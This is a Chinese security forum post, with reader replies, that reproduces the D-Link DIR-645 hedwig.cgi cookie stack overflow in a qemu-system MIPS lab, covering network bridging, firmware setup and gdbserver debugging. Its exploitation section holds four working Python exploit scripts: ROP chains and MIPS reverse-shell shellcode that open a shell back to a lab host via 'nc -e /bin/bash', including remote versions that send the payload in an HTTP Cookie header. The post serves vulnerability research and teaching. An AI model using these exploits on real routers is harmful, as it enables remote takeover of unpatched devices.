首页
社区
课程
招聘
[原创]dir-645 超长cookie栈溢出漏洞分析之qemu-system模式
2021-1-10 13:41 20650

[原创]dir-645 超长cookie栈溢出漏洞分析之qemu-system模式

2021-1-10 13:41
20650

前言

上一篇文章结尾提到了此漏洞也能用qemu-system模式复现成功,本篇就来填坑和开下一个坑

用到的环境和工具与上一篇文章用到的相同


正文

前期准备

网络配置

qemu-system模式下的网络配置绝对算是一个巨坑,对于新手来说学习过程非常不友好,我的网卡名是“ens33”所以尖括号中的全都为“ens33”,配置命令如下

ifconfig <你的网卡名称(能上网的那张)> down    # 首先关闭宿主机网卡接口
brctl addbr br0                     # 添加一座名为 br0 的网桥
brctl addif br0 <你的网卡名称>        # 在 br0 中添加一个接口
brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
brctl setfd br0 1                   # 设置 br0 的转发延迟
brctl sethello br0 1                # 设置 br0 的 hello 时间
ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
ifconfig <你的网卡名称> 0.0.0.0 promisc up    # 启用网卡接口
dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
brctl show br0                      # 查看虚拟网桥列表
brctl showstp br0                   # 查看 br0 的各接口信息

tunctl -t tap1 -u root              # 创建一个 tap1 接口,只允许 root 用户访问
brctl addif br0 tap1                # 在虚拟网桥中增加一个 tap1 接口
ifconfig tap1 0.0.0.0 promisc up    # 启用 tap1 接口
brctl showstp br0                   # 显示 br0 的各个接口

启动虚拟机

这一步主要需要注意tap的名称要和之前创建的tap接口名称一致,启动命令如下

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap1,script=no,downscript=no

文件传输命令如下(也可使用ftp上传)

scp -r ./squashfs-root  root@192.168.80.135:/root/

启动固件程序

自行创建conf文件并输入以下内容(注意修改内容中的IP地址):

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件
 
Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}
 
Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}
 
 
Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth0 #对应qemu虚拟机的网卡
    Address 192.168.80.134 #对应qemu虚拟机IP
    Port "1234" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

然后需要将固件中需要用到的文件复制到系统目录下,先创建copy.sh文件,然后写入以下内容

cp conf /
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f conf

执行copy.sh后使用浏览器访问

直接执行hedweg.cgi文件会出现如下错误

这是因为执行时缺少了环境变量,命令如下

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
export HTTP_COOKIE="uid=1234"

再次执行hedweg.cgi依旧会报错

这是因为执行时缺少了post数据

开始调试

从GitHub上下载gdbserver,找到对应的版本

gdbserver上传到qemu虚拟机后执行如下命令启动调试

export CONTENT_LENGTH="100"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="`cat content`"
export REQUEST_METHOD="POST"
export REQUEST_URI="/hedwig.cgi"
echo "uid=1234"|./gdbserver-7.7.1-mipsel-ii-v1 192.168.80.135:6666 /htdocs/web/hedwig.cgi

此时的qemu虚拟机环境变量如下

cookie中对应的是使用patternLocOffset.py创建的超长字符串,用来判断溢出的偏移

我在调试至此时出现了玄学情况,溢出的sprintf函数不读取cookie

在sess_get_uid函数处下断,查看程序是否读到了cookie

cookie读取成功了,但是并没有传到sprintf函数中,此时我们设置一下REMOTE_ADDR这个环境变量并再次启动调试

读取成功了,但是依旧不明白为什么cookie溢出会读到remote_addr;尝试使用patternLocOffset测得溢出偏移,并获取libc基址

漏洞利用

与上一篇一样用到ROP链版本的poc,代码如下:

from pwn import *
context.endian = "little"
context.arch = "mips"
base_addr = 0x77f34000
system_addr_1 = 0x53200-1
gadget1 = 0x45988
gadget2 = 0x159cc

cmd = 'nc -e /bin/bash 192.168.80.128 9999'
padding = 'A' * 973                       #1009-4*9
padding += p32(base_addr + system_addr_1) # s0
padding += p32(base_addr + gadget2)       # s1
padding += 'A' * 4                        # s2
padding += 'A' * 4                        # s3
padding += 'A' * 4                        # s4
padding += 'A' * 4                        # s5
padding += 'A' * 4                        # s6
padding += 'A' * 4                        # s7
padding += 'A' * 4                        # fp
padding += p32(base_addr + gadget1)       # ra
padding += 'B' * 0x10
padding += cmd

f = open("exploit",'wb')
f.write(padding)
f.close()

如果在使用nc命令时遇到了如下错误,有两种方法解决此错误

 

1、我的机器IP如下

我使用128的Ubuntu开启了qemu虚拟机,虚拟机的IP是135,此时如果在128上运行命令“nc -vlp 9999”就会报上图的错误,因此我新开了一个VMware虚拟机(注意并不是qemu虚拟机),IP是133,在执行ROP版本的exp之前,在133上运行命令“nc -vlp 9999”,然后在135上执行ROP版本的exp脚本

 

2、如果虚拟机不够,或者机器性能不允许开多个虚拟机,以我的IP为例,在128中运行命令“nc -vlnp 9999”,然后在135中执行ROP版本的exp脚本


进入到system函数后按‘c’就会执行nc命令了

可见此处已经得到shell了

在参考的文章中,前辈用了四种方法都能成功,而我只能成功一种,在此我将剩下的三种poc脚本给出,供大家参考,并希望如果有大神能复现成功的请务必分享!!

使用shellcode的poc脚本

from pwn import *
context.endian = "little"
context.arch = "mips"

#200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
#Connects on 192.168.1.177:31337
shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
#shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" #192.168.1.177
#shellcode += "\xf8\xff\xa5\xafP\x87\x05<\xc0\xa8\xa54\xfc\xff\xa5\xaf"         #192.168.80.135
shellcode += "\xf8\xff\xa5\xafP\x80\x05<\xc0\xa8\xa54\xfc\xff\xa5\xaf"        #192.168.80.128:31337
shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

libc_base = 0x77f34000
sleep = 0x56BD0 #sleep jr ra 0x7678edf4
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08

payload = 'A' * 973 #1009-9*4
payload += 'A' * 4                           # s0
payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
payload += 'A' * 4                        # s3
payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4                           # s5
payload += 'A' * 4                        # s6
payload += 'A' * 4                        # s7
payload += 'A' * 4                        # fp
payload += p32(libc_base + gadget1)       # ra = mipsrop.find("li $a0,1") && jr s1

payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
payload += shellcode

f = open("exploit",'wb+')
f.write(payload)
f.close()


使用http包进行远程攻击的poc脚本(rop链版本)

from pwn import *
context.endian = "little"
context.arch = "mips"

import requests
import sys

def get_payload(offset, libc_base, cmd):
    gadget1 = 0x45988
    gadget2 = 0x159cc
    system_addr_1 = 0x53200-1
    payload = 'A' * offset
    payload += p32(libc_base + system_addr_1) # s0
    payload += p32(libc_base + gadget2)       # s1
    payload += 'A' * 4                        # s2
    payload += 'A' * 4                        # s3
    payload += 'A' * 4                        # s4
    payload += 'A' * 4                           # s5
    payload += 'A' * 4                        # s6
    payload += 'A' * 4                        # s7
    payload += 'A' * 4                        # fp
    payload += p32(libc_base + gadget1)       # ra
    payload += 'B' * 0x10
    payload += cmd
    return payload

if __name__=="__main__":
    cmd = "nc -e /bin/bash 192.168.80.128 9999"
    cookie='uid=' + get_payload(973, 0x77f34000, cmd)
    header = {
        'Cookie'        : cookie,
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'Content-Length': '100',
    'Remote-Addr'    : cookie
        }
    data = {'uid':'1234'}
    ip_port=sys.argv[1]
    url="http://"+ip_port+"/hedwig.cgi"
    r=requests.post(url=url,headers=header,data=data)
    print r.text

使用http包进行远程攻击的poc脚本(shellcode版本)

from pwn import *
context.endian = "little"
context.arch = "mips"

import requests
import sys

def get_payload(offset, libc_base):

    shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    shellcode += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    shellcode += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    #shellcode += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" #192.168.1.177
    shellcode += "\xf8\xff\xa5\xafP\x80\x05<\xc0\xa8\xa54\xfc\xff\xa5\xaf"      #192.168.80.128:31337
    shellcode += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    shellcode += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    shellcode += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    shellcode += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    shellcode += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    shellcode += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

    sleep = 0x56BD0 #sleep jr ra 0x7678edf4
    gadget1 = 0x57E50
    gadget2 = 0x3B8A8
    gadget3 = 0x14F28
    gadget4 = 0x1DD08#0x15C84#0xBB44

    payload = 'A' * offset #1009-9*4
    payload += 'A' * 4                           # s0
    payload += p32(libc_base + gadget2)       # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
    payload += p32(libc_base + sleep)         # s2 = jr $(sp+0x24)
    payload += 'A' * 4                        # s3
    payload += p32(libc_base + gadget4)       # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
    payload += 'A' * 4                           # s5
    payload += 'A' * 4                        # s6
    payload += 'A' * 4                        # s7
    payload += 'A' * 4                        # fp
    payload += p32(libc_base + gadget1)       # ra = mipsrop.find("li $a0,1") && jr s1

    payload += 'B' * 0x24 # mipsrop.tail() 0x24B padding
    payload += p32(libc_base + gadget3)       # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4

    payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B padding
    payload += shellcode

    return payload

if __name__=="__main__":

    cookie='uid=' + get_payload(973, 0x77f34000)
    header = {
        'Cookie'        : cookie,
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'Content-Length': '100'
        }
    data = {'uid':'1234'}
    ip_port=sys.argv[1]
    url="http://"+ip_port+"/hedwig.cgi"
    r=requests.post(url=url,headers=header,data=data)
    print r.text


结束语

虽然本文篇幅短小,成功截图也就短短4张,但是过程是很漫长的,从最初的网络配置,到后面cookie总是读不进去,再到nc命令报错,希望大家能喜欢这篇文章

漏洞利用已经结束,但是漏洞挖掘还没开始,我在GitHub上看到有大佬做了一个固件版本的AFL取名“firmAFL”,我会尝试使用这个fuzz做模糊测试,看是否能在确立攻击面的情况下找到这个cookie溢出漏洞

参考的文章链接:

整体的漏洞利用以及poc脚本:https://www.anquanke.com/post/id/206626#h2-13

qemu网络配置:https://wzt.ac.cn/2019/09/10/QEMU-networking/

mips版本的shellcode:http://shell-storm.org/shellcode/files/shellcode-860.php


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-1-10 17:06 被pureGavin编辑 ,原因: 内容修改
收藏
点赞6
打赏
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  yjmwxwx   +2.00 2021/02/21
最新回复 (5)
雪    币: 20357
活跃值: (5480)
能力值: (RANK:445 )
在线值:
发帖
回帖
粉丝
胡一米 3 2021-1-10 16:53
2
0
文章不错,但有些图片需要重新上传一下,期待你的下一篇。
雪    币: 12075
活跃值: (15434)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-1-10 17:07
3
0
胡一米 文章不错,但有些图片需要重新上传一下,期待你的下一篇。

已全部修改完毕

最后于 2021-1-10 17:07 被pureGavin编辑 ,原因:
雪    币: 1699
活跃值: (760)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wx_Dispa1r 2021-1-12 09:08
4
0
感谢分享
雪    币: 0
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jason_r 2022-8-9 23:28
5
0
师傅你好,请问目前有没有模拟运行vxworks固件的方法?
雪    币: 12075
活跃值: (15434)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-8-11 17:37
6
0
jason_r 师傅你好,请问目前有没有模拟运行vxworks固件的方法?
模拟的方法终究是下策,如果有实力的话,建议直接上真实设备,或者是找一些专业设备的模拟软件
游客
登录 | 注册 方可回帖
返回